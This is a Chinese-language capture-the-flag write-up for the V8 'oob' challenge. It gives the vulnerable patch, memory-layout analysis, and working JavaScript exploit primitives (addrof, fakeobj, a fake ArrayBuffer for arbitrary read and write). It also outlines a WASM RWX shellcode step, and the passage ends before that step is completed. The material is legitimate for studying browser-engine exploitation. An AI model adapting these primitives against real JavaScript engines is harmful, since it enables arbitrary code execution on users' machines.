CTF oob-v8
参照 starctf-oob-v8-indepth 完成 CTF 题目 oob-v8,学习 v8 漏洞利用。
准备
参照官方文档准备 v8 的构建环境。
ℹ️NOTE: 有 Chromium 的构建环境话,把构建命令改成 autoninja -C out\Default\ d8
就可以构建 d8.exe。
题目
题目修改了 v8 源码,给数组添加了一个有漏洞的函数 oob
。
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
这段代码定义了 builtins 函数 ArrayOob
,把它赋值到 Array.prototype.oob
。
重点分析下 ArrayOob
函数的实现:
- 检查参数数量,超过两个直接返回
undefined
。
args
中存储着 builtins 函数的所有参数,可以看做存放了args.length()
个对象的数组。 - 从
args
中取得特殊的参数receiver
。
receiver
就相当于 JavsScript 函数中的 this 对象。
Handle\<receiver\>
中的Handle
可以看做智能指针。 - 把
receiver
当做浮点数数组使用,获取数组的缓冲区elements
。 - 如果只有一个参数:读取
elements
下标array->length()
处存放的值。 - 如果有两个参数:参数 2 写入
elements
下标array->length()
处,返回undefined
。
array->length()
返回的是数组 array
的元素数量,数组索引的有效范围是 [0, array->length()),访问索引 array->length()
属于越界访问。
我已经有现成的 v8 构建环境,就没有下载原题,而是在随便一个 COMMIT 上依照 PATCH 修改代码,构建出 d8.exe。(COMMIT ID 185badc9122fe6274c1b2fe54e03fda5315cb80e)
测试 oob
函数是否能正常使用:
ℹ️NOTE: 使用 Release 版的 d8.exe,Debug 版会触发断言。
> d8.exe
V8 version 9.4.0 (candidate)
d8> a = [0]
[0]
d8> a.oob()
1.380041495160898e-269
d8> a.oob(1)
undefined
利用
环境准备好以后,开始写利用代码,JavaScript 漏洞利用,是可以套用一个固定模式的:
先构造出 addrof 和 fakeobj 两个操作,就可以创建出指向任意地址的 ArrayBuffer
对象,实现任意内存读、写。
- fakeobj: 伪造任意的JS对象
- addrof: 读取任意 JavaScript 对象的地址
有了任意内存读、写,利用 WASM 模块导出函数所在的内存页面是 RWX 的这一特性,把函数指令修改成 shellcode,之后再调用函数,就相当于执行 shellcode。
内存布局
要实现 addrof 和 fakeobj,先要观察程序的内存布局,分析通过漏洞能越界访问到的数据。这里用 d8.exe 提供了调试函数 %DebugPrint
输出对象的内存地址,在用调试器查看内存数据,使用 %DebugPrint
需要在启动 d8 时指定 --natives-syntax 命令。
> d8.exe --allow-natives-syntax
V8 version 9.4.0 (candidate)
d8> a = [1.1, 1.2]
[1.1, 1.2]
d8> %DebugPrint(a)
DebugPrint: 000003D40810A6F9: [JSArray]
- map: 0x03d4082c3ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x03d40828bebd <JSArray[0]>
- elements: 0x03d40810a6e1 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x03d40800222d <FixedArray[0]>
- All own properties (excluding elements): {
000003D4080048F1: [String] in ReadOnlySpace: #length: 0x03d40820215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x03d40810a6e1 <FixedDoubleArray[2]> {
0: 1.1
1: 1.2
}
000003D4082C3AE1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x03d4082c3ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x03d408202405 <Cell value= 1>
- instance descriptors #1: 0x03d40828c38d <DescriptorArray[1]>
- transitions #1: 0x03d40828c3d9 <TransitionArray[4]>Transition array #1:
0x03d408005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x03d4082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x03d40828bebd <JSArray[0]>
- constructor: 0x03d40828bc4d <JSFunction Array (sfi = 000003D40820FE71)>
- dependent code: 0x03d4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.1, 1.2]
第一行 DebugPrint: 000003D40810A6F9: [JSArray]
是指 a 在内存中的指针是 000003D40810A6F9
,数据类型是 JSArray
。
0x000003D40810A6F9
作为一个对象的起始地址是有点奇怪的,一般来说内存块起始地址都是按 4 或 8 对齐的,不会出现一个对象从奇数地址开始的情况。这是因为 0x000003D40810A6F9
严格来说并不是 a
的指针,而是标记指针(Tagged pointer)。
标记指针是优化后的指针,v8 是在一个很小的范围内分配的对象的内存,64 位地址的高 32 位都是一样的,为了减小指针的内存占用,v8 就只存储指针的低 32 位。而且对象的指针都是对齐过的,最低位固定为 0,可以作为标志位使用。最低位置位时代表数据类型是标记指针,清零代表存放的是 Smi。Smi 是对小整数的一种优化,把一个小整数左移一位就得到了它对应的 Smi。更多内容,参考v8的文档。
所以 a
真实的地址是 0x000003D40810A6F8
,在调试器里查看存储的数据
JSArray
对应 CPP 中的 v8::internall::JSArray
,阅读代码得知它有以下几个成员:
- map: 存放对象的类型信息,如:原型、属性名
- properties: 对象属性的指针
- elements: 数组元素的指针
- length: 数组长度 (Smi)
再看下 elements 处的内存布局
elements 指向的是作为缓冲区使用的 FixedArray 对象,包含:
- map
- length
- 内嵌的缓冲区
按双精度浮点数显示,就可以看到存放在数组中的 1.1, 1.2 两个浮点数。
越界访问到的就是跟在 1.2 之后的值,也就是 0x99993d49810a6f8
起始的 8 字节内存。这刚好就是 a
的起始地址,存放的是 a
的 map 和 properties,测试几次发现都是这样的。这样的话越界访问就可以读、写浮点数组的 map 和 properties。
ℹ️NOTE: 深入分析的话,会发现在数组的创建过程中,这两个内存块是紧接在一起线性分配的,在数组大小选取的合适情况下,内存地址一定是相连的。
addrof
map 中存放了关于对象类型的信息,例如原型,属性等。把浮点数数组的 map 替换成对象数组的,v8 解释器就会把它当做对象数组。利用这个特性,通过如下操作就可以读到对象的指针:
- 浮点数组 map 改成对象数组
- 对象存入数组的指定位置,存入的缓冲区的数据,实际上对象的指针
- 再把 map 恢复回去
- 把指针当做浮点数从数组读出
目前已经可以读、写浮点数组 map,只要再找到读取对象数组 map 的方法,addrof 就可以实现了。
观察下对象数组的内存布局,看看对象数组的越界访问能读到什么:
d8> obj = {}
{}
d8> let arr2 = [obj]
undefined
d8> %DebugPrint(arr2)
DebugPrint: 000003C00810B071: [JSArray]
- map: 0x03c0082c3b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x03c00828bebd <JSArray[0]>
- elements: 0x03c00810b065 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x03c00800222d <FixedArray[0]>
- All own properties (excluding elements): {
000003C0080048F1: [String] in ReadOnlySpace: #length: 0x03c00820215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x03c00810b065 <FixedArray[1]> {
0: 0x03c00810afad <Object map = 000003C0082C22D1>
}
000003C0082C3B31: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x03c0082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x03c008202405 <Cell value= 1>
- instance descriptors #1: 0x03c00828c38d <DescriptorArray[1]>
- transitions #1: 0x03c00828c409 <TransitionArray[4]>Transition array #1:
0x03c008005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x03c0082c3b59 <Map(HOLEY_ELEMENTS)>
- prototype: 0x03c00828bebd <JSArray[0]>
- constructor: 0x03c00828bc4d <JSFunction Array (sfi = 000003C00820FE71)>
- dependent code: 0x03c0080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[{}]
查看内存数据:
对象数组的元素是 4 字节的标记指针,而 oob
函数是把数组元素当做 8 字节的浮点数处理的,这使得对象数组的 oob
是不能直接读取到 map 的。
不过随着数组元素数量的增加,oob
能读到的位置是在向下移动的,最终一定会越过对象数组的所在的区域,读到高地址处其他的值。如果我们先在后面的内存中布局其它的对象数组,就有可能读到其它对象数组的 map。
经过简单的计算和尝试,找到了一个合适的方案:创建相邻的两个对象数组,第一个数组有 8 个元素,第二个数组有 2 个元素。第一个数组的 oob
函数刚好就可以读到第二个数组的 Map 值。
d8> arr2 = [obj, obj, obj, obj, obj, obj, obj, obj];arr3=[obj,obj]
[{}, {}]
d8> %DebugPrint(arr2)
DebugPrint: 000003C00810B239: [JSArray]
- map: 0x03c0082c3b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x03c00828bebd <JSArray[0]>
- elements: 0x03c00810b211 <FixedArray[8]> [PACKED_ELEMENTS]
- length: 8
- properties: 0x03c00800222d <FixedArray[0]>
- All own properties (excluding elements): {
000003C0080048F1: [String] in ReadOnlySpace: #length: 0x03c00820215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x03c00810b211 <FixedArray[8]> {
0-7: 0x03c00810afad <Object map = 000003C0082C22D1>
}
000003C0082C3B31: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x03c0082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x03c008202405 <Cell value= 1>
- instance descriptors #1: 0x03c00828c38d <DescriptorArray[1]>
- transitions #1: 0x03c00828c409 <TransitionArray[4]>Transition array #1:
0x03c008005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x03c0082c3b59 <Map(HOLEY_ELEMENTS)>
- prototype: 0x03c00828bebd <JSArray[0]>
- constructor: 0x03c00828bc4d <JSFunction Array (sfi = 000003C00820FE71)>
- dependent code: 0x03c0080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[{}, {}, {}, {}, {}, {}, {}, {}]
d8> %DebugPrint(arr3)
DebugPrint: 000003C00810B259: [JSArray]
- map: 0x03c0082c3b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x03c00828bebd <JSArray[0]>
- elements: 0x03c00810b249 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x03c00800222d <FixedArray[0]>
- All own properties (excluding elements): {
000003C0080048F1: [String] in ReadOnlySpace: #length: 0x03c00820215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x03c00810b249 <FixedArray[2]> {
0-1: 0x03c00810afad <Object map = 000003C0082C22D1>
}
000003C0082C3B31: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x03c0082c3b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x03c008202405 <Cell value= 1>
- instance descriptors #1: 0x03c00828c38d <DescriptorArray[1]>
- transitions #1: 0x03c00828c409 <TransitionArray[4]>Transition array #1:
0x03c008005229 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x03c0082c3b59 <Map(HOLEY_ELEMENTS)>
- prototype: 0x03c00828bebd <JSArray[0]>
- constructor: 0x03c00828bc4d <JSFunction Array (sfi = 000003C00820FE71)>
- dependent code: 0x03c0080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[{}, {}]
查看内存:
对第一个数组调用 oob
,访问的内存为 0x000003C00810B218 + 0x8 * 0x8 => 0x000003C00810B258
,刚好是第二个数组的 map 所在的位置。
addrof 代码实现如下:
let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let i64 = new BigInt64Array(buf);
function ftoi(f) {
f64[0] = f;
return i64[0]
}
function itof(i) {
i64[0] = i;
return f64[0];
}
function zero_high_word(i) {
return i & BigInt("0x00000000ffffffff");
}
function get_map_double_array() {
let arr = [1.1, 1.2, 1.3]
return zero_high_word(ftoi(arr.oob()));
}
function get_map_obj_array() {
let obj = {};
let arr1 = [obj, obj, obj, obj, obj, obj, obj, obj];
let arr2 = [obj, obj];
// arr1.oob will read arr2's map
return zero_high_word(ftoi(arr1.oob()));
}
function modify_double_arr_map(arr, new_map) {
old_v = ftoi(arr.oob());
new_v = old_v & BigInt('0xffffffff0000000') | new_map;
arr.oob(itof(new_v));
}
double_array_map = get_map_double_array();
obj_array_map = get_map_obj_array();
console.log(double_array_map.toString(16));
console.log(obj_array_map.toString(16));
let arr = [1.1, 1.2, 1.3];
let obj = {}
modify_double_arr_map(arr, obj_array_map)
arr[2] = obj;
modify_double_arr_map(arr, double_array_map)
let addrofobj = ftoi(arr[1]) & BigInt("0x00000000ffffffff");
console.log(addrofobj.toString(16))
oob
函数的返回值是浮点型的,为了方便对其进行位运算,需要实现了类型转换函数 ftoi
、itof
。
验证下效果:
ℹ️NOTE: 使用Release 版的 d8.exe
./d8.exe --allow-natives-syntax
V8 version 9.4.0 (candidate)
d8> load("poc.js")
8203ae1
8203b31
8049901
undefined
d8> %DebugPrint(obj)
0x023108049901 <Object map = 00000231082022D1>
{}
fakeobj
把修改 map 顺序变换一下,就可以实现 fakeobj:
- 把指针转换成浮点数,存入浮点数组
- 浮点数组的 map 改成对象数组的
- 把刚存入的指针当成对象读出。
- 恢复 map
function fakeobj(tagged_ptr) {
arr[0] = itof(tagged_ptr)
modify_double_arr_map(arr, obj_array_map)
res = arr[0]
modify_double_arr_map(arr, double_array_map)
return res;
}
可以用数组构造 tagged_ptr
指向的内存:
function addrof(obj) {
modify_double_arr_map(arr, obj_array_map)
arr[2] = obj;
modify_double_arr_map(arr, double_array_map)
return ftoi(arr[1]) & BigInt("0x00000000ffffffff");
}
// fake a double Array
arr_contains_fake_obj = [itof(make_qword(double_array_map, 0)), itof(make_qword(double_array_map, 6 << 1)), 1.3];
%DebugPrint(arr_contains_fake_obj);
fixed_arr_ends = arr_begin = addrof(arr_contains_fake_obj);
console.log(fixed_arr_ends.toString(16));
// 获取fakeobj的起始地址
fake_obj_tagged_ptr = fixed_arr_ends - BigInt(3 * 8);
console.log(fake_obj_tagged_ptr.toString(16));
刚好在下图红色框出的区域构造出了可以作为浮点数组使用的内存。
这个伪造的数组:
- map:浮点数组 map
0x08203ae1
- properties:
0
不会用到 - elements:
0x0820eae1
, 只是随便选了一个可访问的内存,没有特殊需要 - length:
0xc
=>6
的 Smi 形式。
arr_contains_fake_obj
的地址减去 24 就可以是红框的起始地址,把这个起始地址转换成 tagged pointer 就可以用作 fakeobj
函数的参数。
验证下效果:
// 调用 fakeobj 函数,得到伪造的数组
let fake_obj = fakeobj(fake_obj_tagged_ptr);
%DebugPrint(fake_obj);
// 读取伪造的数组的第一个元素
console.log(fake_obj[0]);
readline();
./d8.exe –allow-natives-sytax poc.js 运行后输出如下:
8203ae1
8203b31
8049bc9
0x01c908049d09 <JSArray[3]>
8049d09
8049cf1
0x01c908049cf1 <JSArray[6]>
1.6291488275489796e-260
任意内存读、写
用 addrof 和 fakeobj,伪造一个 Uint8Array
对象,就可以实现任意内存读写。
先分析 Uint8Array
对象的内存布局:
// Debug 版运行
d8> let u8a = new Uint8Array(8)
undefined
d8> %DebugPrint(u8a)
DebugPrint: 000000A408108E21: [JSTypedArray]
- map: 0x00a4082c24d9 <Map(UINT8ELEMENTS)> [FastProperties]
- prototype: 0x00a408284efd <Object map = 000000A4082C2501>
- elements: 0x00a408108e11 <ByteArray[8]> [UINT8ELEMENTS]
- embedder fields: 2
- buffer: 0x00a408108dd1 <ArrayBuffer map = 000000A4082C3271>
- byte_offset: 0
- byte_length: 8
- length: 8
- data_ptr: 000000A408108E18
- base_pointer: 0000000008108E11
- external_pointer: 000000A400000007
- properties: 0x00a40800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- elements: 0x00a408108e11 <ByteArray[8]> {
0-7: 0
}
- embedder fields = {
0, aligned pointer: 0000000000000000
0, aligned pointer: 0000000000000000
}
000000A4082C24D9: [Map]
- type: JS_TYPED_ARRAY_TYPE
- instance size: 72
- inobject properties: 0
- elements kind: UINT8ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x00a4080023b5 <undefined>
- prototype_validity cell: 0x00a408202405 <Cell value= 1>
- instance descriptors (own) #0: 0x00a4080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x00a408284efd <Object map = 000000A4082C2501>
- constructor: 0x00a408284e85 <JSFunction Uint8Array (sfi = 000000A408209E01)>
- dependent code: 0x00a4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
0,0,0,0,0,0,0,0
Uint8Array
对应 v8::internal::JSTypedArray
,分析源码得到如下内存布局:
- JSTypedArray
- JSArrayBufferView
- JSObject
- map
- properties
- elements
- Buffer: tagged pointer
- ByteOffset: intptr_t
- ByteLength: intptr_t
- JSObject
- Length: intptr_t
- ExternalPointer: intptr_t
- BasePointer: Tagged Pointer
- BitFoeld: int32_t
- OptionalPadding: 对齐填充
- JSArrayBufferView
查看内存:
buffer 指向的是与 Uint8Array
关联的 ArrayBuffer
对象。ArrayBuffer
对应 js::internal::JSArrayBuffer
,分析源码得到如下内存布局:
- JSArrayBuffer
- JSObject
- map
- properties
- elements
- ByteLength: intptr_t
- MaxByteLength: intptr_t
- BackingStore: intptr_t
- Extension: intptr_t
- BitField: int32_t
- OptinalPadding: 对齐填充
- JSObject
用调试器分析这两个类型:
d8> let buf = new ArrayBuffer(8)
undefined
d8> let u8a = new Uint8Array(buf)
undefined
d8> u8a[0] = 0xaa
170
d8> u8a[1] = 0xbb
187
d8> u8a[2] = 0xcc
204
d8> %DebugPrint(u8a)
DebugPrint: 000000A40810A669: [JSTypedArray]
- map: 0x00a4082c24d9 <Map(UINT8ELEMENTS)> [FastProperties]
- prototype: 0x00a408284efd <Object map = 000000A4082C2501>
- elements: 0x00a408003245 <ByteArray[0]> [UINT8ELEMENTS]
- embedder fields: 2
- buffer: 0x00a40810a5bd <ArrayBuffer map = 000000A4082C3271>
- byte_offset: 0
- byte_length: 8
- length: 8
- data_ptr: 0000021474AB8710
- base_pointer: 0000000000000000
- external_pointer: 0000021474AB8710
- properties: 0x00a40800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- elements: 0x00a408003245 <ByteArray[0]> {
0: 170
1: 187
2: 204
3-7: 0
}
- embedder fields = {
0, aligned pointer: 0000000000000000
0, aligned pointer: 0000000000000000
}
000000A4082C24D9: [Map]
- type: JS_TYPED_ARRAY_TYPE
- instance size: 72
- inobject properties: 0
- elements kind: UINT8ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x00a4080023b5 <undefined>
- prototype_validity cell: 0x00a408202405 <Cell value= 1>
- instance descriptors (own) #0: 0x00a4080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x00a408284efd <Object map = 000000A4082C2501>
- constructor: 0x00a408284e85 <JSFunction Uint8Array (sfi = 000000A408209E01)>
- dependent code: 0x00a4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
170,187,204,0,0,0,0,0
d8> %DebugPrint(buf)
DebugPrint: 000000A40810A5BD: [JSArrayBuffer]
- map: 0x00a4082c3271 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x00a40828a129 <Object map = 000000A4082C3299>
- elements: 0x00a40800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0000021474AB8710
- byte_length: 8
- max_byte_length: 8
- detachable
- properties: 0x00a40800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: 0000000000000000
0, aligned pointer: 0000000000000000
}
000000A4082C3271: [Map]
- type: JS_ARRAY_BUFFER_TYPE
- instance size: 64
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x00a4080023b5 <undefined>
- prototype_validity cell: 0x00a408202405 <Cell value= 1>
- instance descriptors (own) #0: 0x00a4080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x00a40828a129 <Object map = 000000A4082C3299>
- constructor: 0x00a40828a055 <JSFunction ArrayBuffer (sfi = 000000A40820EB31)>
- dependent code: 0x00a4080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[object ArrayBuffer]
JSTypedArray:
JSArrayBuffer:
BackingStore:
JSArrayBuffer
的 BackStore 应该是缓冲区的实际指针了。在调试器里把 BackStore 的地址 +4,看看读取到的数据是否变化。
d8> u8a[0] = 0xdd
221
d8> u8a[0]
221
d8> u8a
221,187,204,0,0,0,0,0
没有达到预期的效果,分析下原因,backing_store 的开始,创建内存写入断点,之后执行 ua8[0] = 0xdd。程序断下,调用栈如下:
分析调用栈后,发现写入地址是 JSTypedArray::DataPtr()
获取的:
void* JSTypedArray::DataPtr() {
// Zero-extend Tagged_t to Address according to current compression scheme
// so that the addition with |external_pointer| (which already contains
// compensated offset value) will decompress the tagged value.
// See JSTypedArray::ExternalPointerCompensationForOnHeapArray() for details.
STATIC_ASSERT(kOffHeapDataPtrEqualsExternalPointer);
return reinterpret_cast<void*>(external_pointer() +
static_cast<Tagged_t>(base_pointer().ptr()));
}
由 external_pointer
和 base_pointer
两项相加得出,并不会访问 ArrayBuffer
的 backing_store
。推测是 ArrayBuffer
内部的缓冲区已经被提前拷贝到 TypedArray
结构中了,这样的话新建一个 UInt8Array
应该是可以的。
d8> u8a2 = new Uint8Array(buf)
0,0,0,0,253,253,253,253
d8> u8a2[0] = 0xdd
221
d8> u8a2[0]
221
d8> u8a
221,187,204,0,221,0,0,0
任意内存读写
伪造 ArrayBuffer
实现任意内存读写,分成下面几个步骤:
- 读取
ArrayBuffer
的 map - 数组中伪造出
ArrayBuffer
- 利用
fakeobj
函数,得到伪造ArrayBuffer
对象
读取 ArrayBuffer
的 map 的方法和读取对象数组的类似,创建一个包含 4 个元素的对象数组和一个 ArrayBuffer
,这样对象数组的 oob
函数就可以读到 ArrayBuffer
的 map。
function read_array_buffer_map() {
obj = {}
obj_arr = [obj, obj, obj, obj]
arr_buf = new ArrayBuffer();
map = obj_arr.oob();
console.log(ftoi(map).toString(16));
console.log(addrof(arr_buf).toString(16));
%DebugPrint(obj_arr);
%DebugPrint(arr_buf);
return map;
}
arr_buf_map = read_array_buffer_map();
/*
输出:
800222d08203271
804aa9d
0x03ee0804aa8d <JSArray[4]>
0x03ee0804aa9d <ArrayBuffer map = 000003EE08203271>
*/
接下来在数组中伪造出一个 ArrayBuffer
,ArrayBuffer
总计 0x30
字节,创建一个 6
个元素的浮点数数组就应该足够了,但是如果从元素 0
开始布局内存的话,ByteLength、MaxByteLength、BackingStore 等元素,所在的位置就会横跨两个数组下标,赋值有些不方便。如果把 ArrayBuffer
的 map,放在浮点数组的第一个元素的高 32
位,会更方便一些,这就需要创建一个 7
个元素的浮点数组。
// 伪造任意ArrayBuffer
function fake_array_buffer(addr, len) {
double_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7];
// [0x00000000, Map]
double_arr[0] = itof(ftoi(arr_buf_map) << BigInt(32))
// [props, elems] 不影响利用,填0
double_arr[1] = itof(make_qword(0, 0));
// [ByteLenghLow, ByteLengthHigh]
double_arr[2] = itof(BigInt(len))
// [MaxByteLengthLow, MaxByteLengthHigh]
double_arr[3] = itof(BigInt(len))
// [BackingStoreLow, BackingStoreHigh]
double_arr[4] = itof(BigInt(addr))
addr_fake_arr_buf_end = addr_double_arr_begin = addrof(double_arr);
%DebugPrint(double_arr);
console.log(addr_fake_arr_buf_end.toString(16))
// 7个元素的double数组, sizeof(ArrayBuffer)仅占6个,在Array和ArrayBuffer,有4字节大小的冗余空间没有使用
// sizeof(ArrayBuffer) + 4
addr_fake_arr_buf_begin = addr_fake_arr_buf_end - BigInt(0x30 + 0x4);
console.log(addr_fake_arr_buf_begin.toString(16));
return fakeobj(addr_fake_arr_buf_begin);
}
fake_buf_0_3000 = fake_array_buffer(0, 3000);
%DebugPrint(fake_buf_0_3000);
运行结果如下:
0x026c0804b331 <JSArray[7]>
804b331
804b2fd
0x026c0804b2fd <ArrayBuffer map = 0000026C08203271>
创建出对应的 Uint8Array
。
view = new Uint8Array(fake_buf_0_3000)
调试运行,发生异常:
#
# Fatal error in , line 0
# Check failed: 0 == array_buffer->byte_length().
#
#
#
#FailureMessage Object: 000000792BFFDD40
==== C stack trace ===============================
v8::base::debug::StackTrace::StackTrace [0x00007FF605911A5B+27] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\base\debug\stack_trace_win.cc:173)
v8::platform::`anonymous namespace'::PrintStackTrace [0x00007FF6058AF237+39] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\libplatform\default-platform.cc:28)
V8_Fatal [0x00007FF6058A7FE9+217] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\base\logging.cc:166)
v8::internal::Runtime_GrowableSharedArrayBufferByteLength [0x00007FF60539CF3C+540] (C:\Users\MSI-NB\workspace\depot_tools\chromium\v8\src\runtime\runtime-typedarray.cc:56)
(No symbol) [0x0000039A000BDFDC]
根据异常日志和调用栈,定位到如下函数:
RUNTIME_FUNCTION(Runtime_GrowableSharedArrayBufferByteLength) {
HandleScope scope(isolate);
DCHECK_EQ(1, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSArrayBuffer, array_buffer, 0);
CHECK_EQ(0, array_buffer->byte_length()); // ==> 这个检查没有通过
size_t byte_length = array_buffer->GetBackingStore()->byte_length();
return *isolate->factory()->NewNumberFromSize(byte_length);
}
把 ByteLength 改成 0 后,GetBackingStore()
中又会触发其他异常,有必要深入分析一下这个函数的逻辑。分析正常的 ArrayBuffer
访问流程作为参照,发现程序是不会走到Runtime_GrowableSharedArrayBufferByteLength
的。推测是填 0 处理隐藏了真正的错误,把之前填 0 的地方全都填上了 0xCC 再运行脚本,发现问题解决了,不再出现异常了。
执行 view[0] = 0xAA;
,触发了 0x0 地址访问异常,证明我们伪造的 ArrayBuffer
可以正常使用了。
代码执行
接下来就可以实现代码执行了。代码执行的实现,分成下面几个步骤:
- 创建 WebAssembly 实例
- 读取 WASM 模块导出函数所在 RWX 内存区的地址
- 利用任意地址读写能力,将 shellcode 写入可执行的内存
- 调用 WASM 导出函数,触发 shellcode 执行
使用在线工具 WasmFiddle,获取 WASM 字节码。用下面的代码实例化 WASM 模块:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
